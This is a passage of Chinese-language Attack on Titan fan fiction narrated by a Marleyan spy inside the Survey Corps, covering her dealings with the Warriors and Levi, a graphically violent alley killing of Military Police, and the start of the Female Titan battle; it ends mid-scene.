这个屋子被巨人砸破了二楼上的屋顶,即便我只待在一楼,依然能够听到木屑或者木块一片片缓缓掉在头顶的木板上,发出细碎而令人不安的响声,木桩也因为被破坏而时不时发出痛苦的低吟。
我没有问好,也没有招呼一番,因为我现在''很多很不爽啊。
我靠着墙壁,头顶随即落下了几片木屑,她又伸出手把木屑从头顶拍掉:“那个艾伦·耶格尔,你们知道多少?”
“不,我们……”贝尔托特是第一个开口的,“我们,完全没有意识到……”
我察觉到他们三人气氛似乎有点不对劲,但我对这个发现只是微微眯起了眼睛,暂时不想去询问他们发生了什么,转而问:“为什么破墙没有报备?”
他们良久没有说话。我不耐烦地又问了一遍,他们依然沉默,这让我有些恼怒,但我又不能直接发作出来。
我只是换了个说法:“怎么,难道我不算是指挥了吗?还是在你们地盘就管不了你们了?”
“将军说过,必要时不必听从您的指挥。”莱纳沉着脸,“指挥您的忠心也有待观察,您与这群恶魔相处过近了吧。”
我明白莱纳说的是哪些人,收起刚刚那副冷漠的事不关己高高挂起的模样,沉下脸,我现在觉得没有必要压着她心底的不满了。
我向前迈步,直直地对上莱纳的目光,“布朗战士,你是在质疑我对马莱的忠心?”
“莱纳他不是那个意思。”贝尔托特出来打圆场,“我们只是……”
我比了个闭嘴的手势,继续厉声询问,“如果我不忠于马莱,那么我就会把你们供出去。”
“甚至我可以现在就杀了你们。你们会神不知鬼不觉地消失在这个世界上,我可以向马莱伪造是你们选择了投诚艾尔迪亚。”我眯起眼睛,不带一点退缩地抬头凝视这个个头比我高的健壮少年。个子高又如何,我弄死过的比我强壮的人二十根指头都数不完。
莱纳也没有退缩,他也是经历过常人难以想象的训练的战士,但权衡了一下,觉得此时这个节点起冲突并不妥,于是他向后退了一步:“我并没有那方面的意思,指挥。我只是觉得这个节点应该提醒一下您。多注意总是好的。”
我眯起眼睛打量了他一会,看到他有些坐立不安才耸了耸肩,说,“多谢好意。管好你自己吧。”
“那么,说说吧,为什么又破墙?”
这次他们依然没有说话,我有些不耐烦了。就在我正准备又警告他们一下,亚妮突然低下头:
“我不想再破墙了。我受够了,我要早点回去。”亚妮说。
“亚妮……”贝尔托特马上出声提醒她。
但亚妮似乎情绪崩溃了,她身体都在颤抖,她说:“我不该当战士的。我想回去了……”
“亚妮!”最后是莱纳的一声怒
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吼让亚妮回过了神。
这场计划,如果有一个战士流露了半点退缩,那就把他们当做叛国处理,你知道该怎么做的。我的脑子里蓦然就响起了当初老将军对她的嘱托。时至今日,我还记得那个亮晃晃的白色灯光和站在灯下看不清面目的老将军。
我微微笑了笑,只不过这个笑容在那三人看来或许可不算友好,摊开手说:“没事,这话我当作没听见就事了。”
但他们没有相信我。毕竟我们之间仍然隔了一道无论如何也跨不过去的鸿沟,那是所有被巨人所害的世界人民对巨人,对带来巨人的艾尔迪亚人的恨意。
这是事实。被巨人踏平故乡的人,无论如何是不会真心实意和他们这群战士成为同伴的。我可以理解,可以同情,却绝对不会站在他们身旁。
65。
我留给他们一个组织语言的时间,不去探究他们是怎么想到破墙的。想来想去,大概也是因为眼看着待了三年都没有什么进展了,走投无路,就想着再破一次墙逼始祖巨人现身。
我坐在地板上,背靠着墙角,闻着空气里传来的烟味,还夹带着烤肉的味道,那是被烧的尸体发出的气味。有点恶心。
于是我开始想未来,但怎么也想不到未来可能会变成什么样,所以我开始回忆过去。
曾经将军府的小姐,善良美丽的柯洛林小姐,给我讲过一个故事。关于蜘蛛之丝。
有一个罪不可赦的人在地狱服刑,受尽苦难。远在天上的神明看到这一幕,感念恶人曾经做过一件微不足道的好事:那人曾经放生了一只被他抓住的蜘蛛。
于是,神决意从祂的池塘那里放下一根蛛丝,以考验那人的善心。
那人自然是在地狱里看到这一蛛丝,便想顺着蛛丝往上爬,或许就能逃离地狱了。
可是他低头,看到地狱里的一众罪人都顺着这跟细到几乎无法看见的蛛丝网上爬。
他心想,这蛛丝那么细,会断掉的。
抱着不能让别人弄坏了可以他逃离地狱的那么一根蛛丝的想法,罪人高喊着让下面的人们全部松手。
就在这时,蛛丝断掉了。
罪人没能经住神的考验,他是地狱里的罪人,注定要在地狱里糜烂。
远在天上的神明惋惜地收回了蛛丝。
讲完这个故事,那个小姐温柔地抚摸着我黑色的发丝,像母亲抚摸自己的儿女一般,她包含深情的目光凝视着我如同被诅咒过般的血红色的双眼,说:
“所以啊,伊莱扎,无论如何都要保持一颗善心。坚定人的底线。”
但那时的我早已把自己献给魔鬼,手上沾满了鲜血。我只是沉默地想:真是令人作呕的仁慈的神。
现在的我,离开了马莱,来到帕拉迪岛做间谍的我,只是在想:如果我掉进地狱,会有从天上来的蛛丝吗?
应该不会有吧。希望不会有吧。
“指挥。”来叫我的是亚妮,现在全然看不出她之前有些情绪崩溃的模样了,“我们仔细回忆了关于艾伦耶格尔,但是他确实没有任何可疑表现。”
“他有没有说过自己的事情。”我看了看莱纳和贝尔托特,他们两个应该会比较清楚。
但说话的是亚妮,“他来自希干希纳,父亲失踪,母亲死在了巨人手里。有两个朋友,阿尔敏·阿诺德和三笠·阿克曼。志向是调查兵团,是个莽撞的人。”
希干希纳……那不是被破墙的地方吗?我有些头疼了,揉了揉眉心,“以你们对他的了解,他有没有可能是王族。”
“不太可能。”
“那他可能就不是坐标了,或许是很早前马莱遗失的进击的巨人。但无论如何,我们也得把他带走。”
我有些累了,闭上眼冥想了一会,亚妮他们也没有开口说些什么,他们只是静静地坐着。
我们四个人,四个背井离乡之人,四个处于某种尴尬境地的人,四个背叛了过去的人,四个早已把一切都献给了魔鬼的人……沉默地坐着,没有出声交谈。
等到伊我再次睁开双眸,我觉得我好像丢失了什么东西。
我下达命令:“要么带走艾伦耶格尔。要么杀了他。”
15. 我会一直都
第十六章 我会一直都
66。
天蒙蒙亮的时候,街上并没有什么人。
我一个人走在黑黑的路上,我很累,后脑勺就像是有一条虫子在那不断扭动,我的脑子快要坚持不住了,或许脑浆马上就会爆出来。
我在哪……我是谁……我要去哪……我思考这三个问题不是哲学意义上的,单纯是我太累了,有些忘记了……到底为什么我的记性会这么不好?
“最近一直都没看见你。”
听见这个声音,我就看见了在边上站着的利威尔,他看上去也有些累,可能是工作太多了,原来大家都一样啊。
我揉了揉紧皱的眉心,思考是我眼皮黑眼圈多,还是利威尔多,但无论怎么想都是利威尔要更多吧。
我说:“战争一结束,我就申请去了战后清理,反正不是所有分队长都要参加会议,我也不想管那些破事,所以就没有回去。”
利威尔:“然后呢?”
“然后?”我头疼了起来,“然后我去驻屯兵团了。”
我去驻屯兵团那里了解了更多消息。还顺便遇上了前来和皮克西斯司令商量的埃尔文,倒霉。
“你倒是很喜欢往那边跑。”利威尔边说,环抱着的手就放下来了。
我:“一般吧,我想坐着休息会。”
利威尔闻言,就往他的办公室走去,我也跟着过去,因为我知道,他那里有小点心可以给我吃。
利威尔泡茶的时候,我拿起他桌子上的文件看了起来,悲催地发现这些文件大概一会就会送到我桌子上了,因为上面有我的名字。
到底我当时是怎么想的才要来做间谍啊?要完成两份工作简直是要我的命!
“我们活捉到了一只巨人。”利威尔递给我一杯红茶,自己坐在凳子上翘着二郎腿,喝红茶。
我放下文件,接了过去:“巨人?活捉到了?那韩吉会很开心。”
我吃了几块曲奇,喝了一口红茶,“你泡的茶很好,吃点心被齁住了喝点茶就刚好合适,要是有咖啡就更好了。”
其实我一直都很喜欢喝咖啡,以前更是以咖啡为命,每天不喝就会变得非常没有气力,现在已经好很多了。
主要是利威尔采取了强硬措施,让我把咖啡戒掉了。
利威尔他们还在地下街时。只有我有假期,我和德里克偶尔就会去地下街去找利威尔他们唠嗑或者打架。一来二来就成了习惯。
有一次,我感觉肚子不太舒服,因为我饮食作息不规律,胃不舒服是很常见的事,所以我没在意,还是跟着德里克跑到利威尔家去逛。结果没待一会就胃疼的不行,趴在沙发上打滚。
自那以后,他们几个人就督促着我把咖啡戒了。因为咖啡喝多了伤胃。
利威尔抬起眼看了看我,“我不会泡咖啡。”
“呵,你不会跑咖啡就跟我会泡巨人口水一样不可能。”
我察觉到利威尔在盯着我看,我本能以为他想和我练练手了,那双死鱼眼里似乎透着浓浓的挑衅意味。
“事先说明,”我笑眯眯地说,“我最近练手的时候下手都比较重,要是一不小心把你的滑嫩的脸蛋打破了,可别找我赔偿,我没钱的。”
也不知道利威尔听没听到,反正他没有站起来让我跟他去训练场过几招,也没有回复我刚刚说的话,他收回目光:“我们拿到了艾伦的管理权,也就是那个巨人。明天我就要带着他训练了,去旧址。”
“哐当。”
听到这个完全没有预料到的消息,我顿时有些失态,但我很快调整好了自己:“你们拿到了,我还以为是宪兵团?”
我原本想着如果是宪兵团,那就把他们暗杀后再和战士合力带走或是铲除艾伦,但我没想到竟然落到了调查兵团手里,还是由利威尔管控。
这下不能在城墙内动手了,而且我还不能参与进去,会被识破的,我也没把握打得过利威尔。简直糟糕透了。这个艾伦绝对是我的克星吧?
“怎么了,面色不好?”利威尔眉头皱得更紧了。
我笑了笑:“没什么,只是有些累,我回去休息了。”
首先得把活捉的巨人解决了,现在智慧巨人已经暴露给了民众,如果让他们在那两头巨人身上研究出什么来,后果将会一发不可收拾。亚妮他们暴露的风险会更大,在这个地方暴露,那就只有死路一条了。
其次,也是最重要的,我得想办法联系亚妮,他们三个都是调查兵团,无法行动,铲除艾伦的行动只能以她为主了。
我离开了利威尔的办公室,以往我和利威尔说话总会觉得比旁人轻松,但现在却不是这样了。我有太多任务要去做。
毕竟我们是敌人。
67。
我没有让自己休息太久,只睡了四个小时,然后就起来处理兵团的工作。紧接着当天黄昏时分,我就去和亚妮见面了。
“听说黄昏时是逢魔之时。”我说,“没想到我们最近联系这么频繁,但愿这些行动都有个好结局,亚妮。”
“为什么没有叫莱纳和贝尔托特?”亚妮取下兜帽,神色冰冷地看着我。
我笑了笑:“这是针对你的任务,我想不需要他们来。你知道调查兵团抓了两个巨人吧?希望你一会半夜就去杀了他们。”
“那我该怎么掩盖痕迹,他们可能会查有没有人使用了立体机动器。”亚妮皱起眉头说。
我随意地应付了一下:“拿死人的嘛……你能不能找到死人用过的立体机动器?”
亚妮面色变得不太好,咬牙说:“啊,可以。”
“你知道艾伦被转交给了调查兵团吧,这意味着我们不能在城墙内对他下手了。”
“为什么?”
我拉了拉帽子,挡住自己的脸:“因为调查兵团负责看管他的人……非常麻烦,你可能知道他,人类最强利威尔兵长。”
“说这些都不重要,重要的是,艾伦那个家伙可能是坐标。我们绝对不能失去他。”我说。“不到万不得已,我不希望杀了他。但如果别无选择,那就把他喂给巨人吃了吧。”
亚妮闻言点了点头。正准备开口……
我听到了些许窸窸窣窣声,马上制止了亚妮要吐出来的话:“停。”
亚妮警觉起来,拿出手枪,我伸手拦住亚妮:“先等会。”
“有什么老鼠在那。”
我敏锐地捕捉到那些窃窃私语。
“是不是地下非法组织的……”有一个人是这么说的。
难道是把我们当成地下非法交易团伙或者刺杀组织?但无论是哪种都不是好事。
“那是宪兵团的……”亚妮压低声音说。
宪兵,看来这就不好解决了。他们要是嘴快上报,宪兵团里肯定会有人明白我们说的“坐标”是什么。蒙混过关或者色诱成功的概率都不大,那就只好选择最简单粗暴的方法了。
“你先撤退。我来解决。”
我不知道那几个宪兵到底知道多少,这些人到底把我当成什么人隶属于什么组织都无所谓了,眼下能够保证万无一失的只有一个方法——
杀了他们。
我深吸一口气,从自己的怀里掏出那把匕首,将脖子上的项链取下,这个项链串着一根骨头,不知道是人还是什么生物的,我轻轻捻起,吻了吻那根骨头,喃喃着:
“保佑我吧。弥赛亚。”
我手上只有一把匕首和一把手枪,对方可能有步枪,长剑和砍刀,但我必须解决这群人。
我看清那些人的身影后,马上抬起脚重重地踢到最末尾的那个人头上,借着别人的脑袋发力又重重地踢向旁边的那个家伙,我只会踢人头部最易致死的部位,太阳穴,那里的颅骨很脆弱。
两个。一个被窝的高跟踩穿了天灵盖,不知道还活着没,一个被我一脚踢到墙上,晕过去了。
还剩四个。
“喂!你这家伙!举起手来!你是想杀人吗?我们可是宪兵!”
在落地的一瞬间,我迅速拔出匕首,就往身旁那个拿着长刀要砍她的人迅速刺去,我刺的位置是胃部,卯足力气刺进去,同时我弯下腰,把刺中的人扛起用一只手举着固定在我身上。
虽然有些费力,但我要拿这个人作为肉盾档住对方的攻击,她绝对不能在身上留下伤口,不然会有人怀疑死在巷子里的宪兵是我杀的。
“砰!砰!砰!”
果不其然,那些宪兵用枪了。
被我用来挡子弹的士兵痛苦地呻吟着,嘴里念着什么,但我没心思去听,活人果然不适合做肉盾,会挣扎的肉盾不是好的肉盾。我抬起手臂把匕首刺进那人的太阳穴,他就停止挣扎了。
现在这具尸体就是个合格的肉盾了。
我继续举着尸体挡住子弹,一面快速冲过去,握紧我的手枪,毫不犹豫地开枪,每一枪都意在射向对方的脑门心。
但很遗憾,因为要用尸体挡子弹的原因,我的视线范围受限,只射杀了一名士兵。
于是,我把那具尸体用力一丢,然后踹了一脚,飞出去的尸体就把一名士兵绊倒在地上。
那个士兵发出了吃痛的嚎叫,我走过去面无表情地用抬起脚,用靴子的后跟把那个年轻士兵的脸踹的稀巴烂,眼球都看不出完形,脸变得像是一块块被恶意宰割下来的猪肉,看不出完整的皮肤,只有翻出来的血肉。
那个士兵发出了歇斯底里的哀嚎,挣扎着想要反击,我就一脚踢向他抬起的血肉模糊的头,把他踢倒在地面,紧接着,我毫不犹豫地用枪直接给了那人一个痛快。
最后只剩下一个一不小心射中肩膀的人还活着了。但是他已经没有退路了,这里是死路,他背后只有被封死的墙。
他的人生也没有退路了。在今天早上离开家的时候,在刚离开酒馆的时候,他可能没有想到,今日的逢魔时刻就是他人生终结的时候。
看着我漫不经心地把脸上沾着的血抹去,那人吓的尿都流出来了。
他嚎叫着:“求你了!我家还有小孩等我回去!我还要养我生病的母亲!放我一条生路吧!今晚的事我不会说出去的!”
我慢慢地走着。
那人跪在地上磕起头,一把鼻涕一把泪地哆嗦着说:“我不想死啊,我什么都没看见,求你了!放过我!放过我!”
但我只是面无表情地举起手枪,她说:“我只剩最后两发子弹了,我可不敢赌。”
我给了那人最后一枪。他死了。他的孩子没有父亲,妻子没有了丈夫,母亲没有了儿子……但无论如何,我杀死了他。
“……真可怜。”我长叹一口气,走回去去找亚妮。
“指挥您是怎么解决的?”亚妮问。
“杀了。”我捕捉到亚妮的神情变了一下,“怎么?难道你没杀人?我以为你们这些战士杀的人比我多的多。”
亚妮神色没什么变化:“只是巨人形态。”她没继续往下说了,或许是因为我们两个的关系还不适合继续往下说。
“比起这个,”我沉声道,“你有没有听到什么关于宪兵团的消息。”
“没有。”
“看来是你的消息太闭塞了。也是,毕竟你才毕业。”
亚妮动了动眼珠,看着我:“我会尽快提升位置的。”
我摆摆手:“不着急,太心急了会露出破绽,只要在你们交任前完成任务就好了。你们是十三年交接一次的,对吧?”
亚妮嗯了一声。
我估算了一下他们继任的年纪,想了想看,笑了:“那大概还剩个六七年。 ”
亚妮对于我提醒他们还剩六七年时光可以消磨没有什么反应,至少面目表情上看不出来。真遗憾,我想看这群战士不爽的样子已经很久了。
“我打算拜托你完成一件事,”我说:“可能调查兵团过不了多久就要出城墙,你到时候变身为女巨人去带走艾伦吧。”
我拿起树枝蹲在地上点画着,初步
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描述基本方案,当然具体实施还是得看亚妮。我讲了大概十几分钟,没花多少时间因为这得等出墙的作战方案下来后才方便更好地规划。
我看了看亚妮,觉得她的表情有点意思,忍不住嗤笑:“怎么?下不去手?”
亚妮微微张嘴,然后又闭上,摇摇头。她的刘海和黑暗的环境替她挡住了一部分神情。
偶尔给一起执行任务的战士一个亲切的形象也是有必要的,所以我说:“正常。至少这样就可以证明你不是恶魔。人对朝夕相处的家伙下不去手是正常的,但你要学会去克服。
“亚妮莱恩哈特,如果你想完成任务,顺利活下去,就要明白你的位置。”我死死地抓住亚妮的肩膀:“如果任务失败,你知道我们回去会面对什么的。”
68。
头重脚轻。
我低着头盯着地面发呆,看着石板缝里钻出来的一只只蚂蚁,绕开了它们行进的方向,继续走着,边走边盯着地面的凹凸不平。
其实我本来是有失眠倾向,今早睡了四个小时,没想到到了晚上就困了。
马车的轱辘声在伊莱扎身后响起,我抬起头,凭着机械的本能去观察马车上的人,没想到竟然是韩吉。
韩吉自然让马车停下来了,她招呼着:“小伊莱扎!我要去利威尔那见见那个新兵,一起吧!”
我想了想看回兵团的路程,好远,还不如蹭个车,点点头。爬上了马车。
我听着韩吉喋喋不休地说着关于新抓的巨人的事,看着马车窗外缓缓路过的大树,撑着头,就这么睡着了。
等我醒来后,就对上了韩吉控诉的目光。
“小伊莱扎竟然睡着了!明明以前都很精神地听我说呢!”
我一把推开把脸凑到她面前的韩吉,嘟囔着:“你可以留点精神去和艾伦说话。”
这个古堡看上去不错,但灰尘肯定少不了,我估计今天一整天利威尔都在督促利威尔班的人做大扫除。真可怜啊,利威尔班的士兵们。
韩吉哼着歌一把推开了门,我就见到了那张不熟悉的面孔,但是将来我会一直铭记于心的人——艾伦·耶格尔。
“这是韩吉分队长,还有伊莱扎分队长。”利威尔介绍着,“那家伙会来我毫不意外,不过你为什么也会来?”
我直勾勾地盯着艾伦,但还是回复了利威尔的问题:“放心,不是来给你们传下次出墙的作战方案的。埃尔文还在规划中。”
艾伦看上去没有什么独特的地方。但我直觉上觉得这个家伙不是个省油的灯。
韩吉已经火热地艾伦说起了她的那两头巨人,我观察够了艾伦,给他刻画了一个第一印象后,就没继续盯着他了。
于是我跟利威尔说起了话:“埃尔文打算三十天后就出墙,但是具体的时间还要等王政那边审批。不过,他已经决定把新兵加入这次调查了。”
说实话,在听到埃尔文要把这次新兵也编入出墙队伍时,我第一反应就是猜测埃尔文会不会猜到了新兵里面除了艾伦耶格尔还有其它巨人,但怎么去揣测那个男人的心思都是没用的,所以我只是决定等任务结束后,回到马莱就让那些上面的人早日铲除这个深不可测的隐患。
利威尔说:“听说了。虽然不知道他这么做的用意,不过是那家伙的话……一定都是想好了的。”
我轻轻点了点头。“你倒好,接管了艾伦耶格尔后,手上的那些其它任务就可以空出来了,我们就多了工作。”
“如果你们能够压制的了他,那我可以让给你们。”
“那还是算了。”毕竟我怕自己控制不住直接把人给五花大绑扔地下室了。
我看了看韩吉兴奋的表情,叹了口气,对利威尔说:“我们出去说吧。”
等出去后,我就对利威尔说:“我估计她可能会说到明天都说不完,今晚我就留在这里。”顺便可以多观察下艾伦。
利威尔看了我一眼:“你只是想躲过放在兵团的工作吧。”
我假装没听见利威尔的嘲讽,转而对佩特拉说:“我没有换洗的衣物,可以借你的吗?”
虽然我没和佩特拉说过多少句话,但她应该是个不错的女孩。准确来说,所有的人都很好,除了我这个间谍。
佩特拉非常干脆,一口就答应下来了。
我穿着佩特拉的睡衣,她的睡衣的质量比兵团的制服好太多了,我明天一定要亲自把衣服洗干净送过去。
现在问题在于睡哪里了。我抱着自己的衣服,站在石砖楼梯上陷入沉思……我决定去敲利威尔的门,霸占他的床,反正这家伙平时不怎么睡觉,大多时候都是在椅子上将就,可惜他的床那么舒服了……
“你要干嘛?”利威尔皱眉看着穿着睡衣的我。
我假装没看见利威尔不善的目光,自顾自地走进来:“你看,我洗澡了,要睡觉。”
“啊,这我肯定知道。”利威尔说,“外面的草坪躺着很舒服,你不是喜欢在草坪偷懒吗?去吧。”
我洗完澡心情很好,开心地说:“说实话,你每次说话不要这么严肃嘛,要不是我认识了你好几年,真的会把玩笑话当真的啊!”
“或许我本来就没在开玩笑。”
呵,死要面子活受罪。我才不管那么多,继续发表自己的“请求”:“你看这古堡没多少房间收拾好了,所以我没床睡,反正你平时也不喜欢睡床吧?总是在椅子上就凑活了,还不如让给我。”
利威尔微微翘起嘴角:“你倒是分配好了。”
我一如既往把利威尔的话当做夸赞:“埃尔文一定给你布置了很多文书工作吧,加油!我睡啦?”
“谢谢你啦!”我蹦跶着跳到床上,一个翻身就裹好被子。我坚信利威尔是不会忍心把我拖出来的。
就这样,我在刚洗没多久的被子里,感受着温暖一点一滴渗入我冰冷的骨子里,她闻着太阳暖暖的味道还有淡淡的红茶香睡着了。
我真的很久没有睡好觉了。
16. 森林里的嬉戏
第十七章森林里的嬉戏
69。
在我还只有十七岁的时候,那是我这辈子最幸福的一段时光。
我至今都记得,十七岁时我坐在那个像是被施了魔法一般,令我无比着迷的花园里,翻阅着一本厚重的笔记本。
这本牛皮笔记本的封面上印了一只黑色的飞鸟,下面刻了一行字“永远自由”。笔记的主人在扉页里用着漂亮的花体抄了一首诗:
《当时光已逝》
……
假如时光已逝,
鸟儿不再歌唱,
风儿也吹倦了,
那就用黑暗的厚幕把我盖上,
如同黄昏时节你用睡眠的衾被裹住大地,
又轻轻合上睡莲的花瓣。
……
我曾在十五岁时反反复复念着这首诗。如果可以,我要在身上纹一只飞鸟,这样我就永远也不会忘记那些美好的日子了。
这里是我深藏于心的秘密。这个花园属于将军的掌上明珠,独一无二的柯洛琳小姐。
当她光滑细腻的手覆盖上我满是结痂的疤痕的手时,我甚至能够听见我胸腔内传来的巨响。咚。咚。咚。我第一次知道,原来人的心脏可以跳得这么快。
“你在看我的笔记吗?伊莱扎。”她问我。
而我感觉我快要停止呼吸了:“是的……这首诗很美。”
“你喜欢就好。”
紧接着,柯洛琳小姐笑着说:
“伊莱扎,为了我,去成为马莱的间谍吧。”
70。
就在刚刚,佩特拉传来了消息,我这才得知右翼整整几十个人已全部阵亡。
这是亚妮做的,大概。我自那晚后就没有和亚妮联系,而是让莱纳与贝尔托特和亚妮接头。看到她下此狠手,我也算明确了她的决心,要知道我最怕出现的情况是他们对敌人下不去手。
自责,崩溃,害怕……这些情绪都是可以出现的,但是要是影响到他们对战敌人的决心,那就是错的了,如果他们产生了这样的情绪,那我也不得不处决他们了。
我握紧缰绳,扭头嘱咐:“艾米丽,你去把消息向左翼传。”
空中又放起了烟雾弹,我注意到这次行进的路线正逐步向巨树森林靠近。
埃尔文在想什么,上次开拓的路线并没有经过这里,难道他是打算放弃那条路线了吗?不,这不可能,埃尔文如果要放弃那条路线绝对不可能不和我们商量决策。
巨树之森适合做什么,他难道是想在那里修建一个壁外营地?然而基斯团长的失败已经足够说明这个计划的性价比很低,埃尔文那样聪明的人不可能重走老路。难道是因为那里方便立体机动使用?可他为什么不一开始就把路线规划向那边……
这时候,我脑子里闪过了一个恐怖的猜想。或许,埃尔文已经猜到了……他在见到巨人化的艾伦后,那个不相信墙内王政的男人,那个执着于追寻真相的男人,或许就会猜到:包括铠甲巨人,巨大型巨人都是和艾伦一样的人类,但他们和一无所知的艾伦不是同一立场,而他们一定会带走未知巨人的艾伦。
这次壁外调查不是为了考验艾伦,而是为了抓捕藏在暗处的敌人!
妈的。我皱眉。虽然此前我有想过这个可能性,但是我低估了埃尔文的果断,我以为他或多或少会斟酌一下,或者向调查兵团的大家说明计划。我以为他没那么强硬和狠心,他可能会保护艾伦。但我没想到他竟然会主动出击,去捕捉尚且不明确危险程度的敌人,并且对方还可以变身为一直以来人类的天敌——巨人。
然而他的决策是正确的。我握紧缰绳。现在出手还可以让敌人来不及反应。而计划只告诉小部分参与者更可以保障计划的保密性,虽然这样做会造成更多的士兵伤亡……从这点出发,埃尔文是个优秀且合格的领导者。
我实战是数一数二的优秀,但是策略绝对比不上埃尔文,我根本不擅长那些领导者该做的事。该死,当初就该让马莱派一个指挥官一起来的。
亚妮无论如何都不能被抓住,即便战士经历了严苛的训练,我也不能完全相信他们不会在受拷问时吐露真相。
如果墙内人得知了真相,那样就彻底完蛋了。
一声巨响从巨树之森里面响起。这加重了我的不安。
巨树之森常让我感到恐惧,在最初刚来这里第一次见到这座森林时,我不觉得这是神迹或者奇特自然景观,我只觉得深深的恐惧,为自己的渺小。
曾经我面对巨人也是如此,那样巨大的存在,轻而易举就可以将我捏碎,轻而易举就践踏了我的故土,吃掉了我的同胞,仿佛生命在他们眼里就是可以随意揉捏的。
我同那些死在战争里的人一般恨他们。即便是现在也是。
“伊莱扎!”我转头看见了纳拿巴,把思绪抽了回来。
“纳拿巴,”我把马转向纳拿巴的方向,“那里有巨响,发生什么了?”
纳拿巴皱眉:“谁知道呢?”
看来埃尔文没有告诉我计划并不是怀疑我,只是不够信任我。也可能是得知计划的人越少,实施成功的概率就越大。
很有可能连监管艾伦的利威尔都不知道埃尔文要做什么,但现在他应该有些猜测了吧。
我对纳拿巴说:“我要去那个地方。”
“命令让你继续前进。”
我摇头:“那就让我的队伍继续前进吧,我必须去那里看看情况,这里的情况有些超出预料了。艾米丽,接下来就交给你了。”
“队长,这样说话可不算负责任。”
但我本来就不需要对你们负责任啊……确切来说,你们死不死都跟我没关系。我板起脸:“但我相信你们。”
说完我就跟着纳拿巴的队伍往声源的方向奔去。等我抵达那里,我就看见了亚妮……
女巨人,已经被抓住了。
我该怎么办?
冷静下来。
冷静下来。
事情到了不太好的局面,但并不是没有回旋的余地,
如果我记得没错的话,女巨人应该可以通过嚎叫声来吸引无垢巨人。就算亚妮可能会被吃掉,但也比被艾尔迪亚人抓住好。
我跳上粗壮的树枝,问发射器旁的韩吉:“这是什么?又一个巨人?”
“和艾伦一样的巨人,它里面应该就是人类!”看得出来,韩吉非常兴奋。
我有些担忧地问:“它能挣脱这个吗?”
“不可能!就算挣脱了,它也会失去行动力的!”
我皱起眉,看到了利威尔飞到女巨人头顶。
那家伙,是去威胁它了吧?
如果利威尔把亚妮削出来……那家伙的话,是绝对下得去手的。
“听说动物死前会发出哀鸣。”我说。
“你说,女巨人会吗?”
韩吉转过头来看着我:“巨人,应该不会吧?”
我和韩吉沉默地对视着,不过一会,一声尖啸响起。
巨大的哀嚎从女巨人口中发出,声音造成的巨大冲击让我们不得不为了稳住身体而弯曲膝盖,不同于他们脸上的错愕,疑惑,震惊之类的表情,我的脸上只有微笑。
大地在呻吟,无数无垢巨人飞奔而来,他们张开贪婪的嘴,分食女巨人。
这一幕太过震撼了,我余光看见不远处的几个士兵发出了干呕声。
没有什么东西比看见同类相食更恐怖。进食的欲望是最初始的欲望,食欲和杀欲是不一样的,食欲是每一个生物的最基本的本能。也正是如此,对同类抱有食欲,比杀欲要更恐怖。
我会想要杀掉一个人,但我绝对不会想要吃掉一个人。吃人,远比杀人要更恶心。杀人的人不一定是恶魔,但是吃人的一定是恶魔。
我扣住扳机,跟韩吉说:“我要去那边看看,你先跟着埃尔文走吧,告诉他,我没听他指挥是因为他没把他的计划告诉我,既然作战书是假的,我就先凭自己的判断来行动了。”
韩吉在我身后喊:“你别那么莽撞!”
但我操控立体机动器的速度很快,很快就没听到她的声音了。
71。
我注意到天空中有一枚烟雾弹,于是我扣动扳机朝那边飞过去,接着又有人点了一枚烟雾弹。
两枚烟雾弹。
一枚应该来自利威尔班,那么另外一枚就是亚妮了。她还活着,我稍微松了口气。
尽管我不太喜欢马莱战士,确切来说,我很抗拒他们,但我不得不承认:在周围都是敌人的景况下,我还是不希望他们死。
我本来的计划是找到亚妮让她撤退,但现在应该是最合适的时机。按照刚刚那个陷阱的布置,埃尔文应该没有在别处设置陷阱,艾伦周围只有利威尔班,利威尔还不在。
如果我攻击人类形态的艾伦,他会失去一定行动力,即使变成巨人也难以匹敌女巨人,轻而易举就可以被带走。至于剩下四人,女巨人出手应该不出一分钟就可以击杀,我也可以协助着杀死他们。事成之后,没人知道我和他们是一伙的,我依然可以继续潜入敌军内部。
不,不对!我无法保证会不会有其它人和我一样在看见烟雾后过来,现在不是暴露身份最佳时机。
仔细想想,我也无法保证亚妮带走艾伦后,埃尔文会不会派出追兵,如果追兵是利威尔,那亚妮的胜率很低,而我也会暴露。更何况,我现在有些怀疑埃尔文会不会猜这些队长里面,也就是破墙前入团的士兵里有没有敌人。这次他没有把作战计划书公开给我就足够说明,他还不够信任我,我不能让他彻底起疑心。
所以我接下来,和利威尔班回合后,只能确定计划的实施性。同时还要保证尽自己最大的力去战斗,但不阻止亚妮的行动。
我抱着这样的想法,继续了行动,直到我看见了那具尸体,吊挂着的尸体,他是利威尔班的一员。亚妮已经追赶上他们了。
紧接着,我看到了女巨人和被它追逐着的四人。我沿弧线行进,操纵着立体机动器加速越过了女巨人,从侧面靠近了他们,和艾尔德对上了视线。
“伊莱扎队长?”
“艾尔德,”我朝他喊:“停止正面交锋!”
但是来不及了,他们出动了。我咬牙,稍作思考,也跟着冲了过去。
亚妮被他们砍碎了眼睛,只能靠着树干,他们三人立即跟着过去去削她的上臂肌肉,使她失去对手的控制力。这样她就护不住后颈了。
我回头看了眼艾伦,这段距离亚妮轻而易举就可以追上了。
刀伤的恢复对战士们来说是短时间内就可以完成的,眼伤却需要更多的时间,但是亚妮是一名足够优秀的战士,她会把所有恢复力都集中于最易观察的那一只眼……
我在飞过去的短短三秒内迅速思考着。
可他们三人不知道,在他们准备攻击亚妮后颈的那一刻,亚妮就会趁他们以为结局必胜而对它警惕性不高时,直接毫不犹豫吃掉那人,而它手臂上的伤口也会在一瞬间恢复好,它就会杀死剩下碍手碍脚的两人,直接去攻击艾伦!
果不其然,艾尔德被亚妮咬断了。
“艾尔德!”佩特拉叫喊的这一秒,亚妮迅速恢复肌肉上的伤口,迅速朝位置最低且最易攻击的佩特拉冲去……
要出手吗?
我该出手吗?
出手吧!就现在!
如果我和女巨人有交战痕迹,那埃尔文对我就会更信任点。而如果亚妮能够带走艾伦,脱离部队的我也需要一个证人来证明我尽全力去战斗了!
于是我扣动扳机,使立体机动达到高速运转且身体要很快被牵引过去,意味着全身的肌肉要完全顺应立体机动的运转,但同时强烈的冲击会给身体带来巨大负荷造成剧痛,高速运转情况下如果有哪一处操作不当就可能造成骨折、或者被摔倒地面或树桩上。
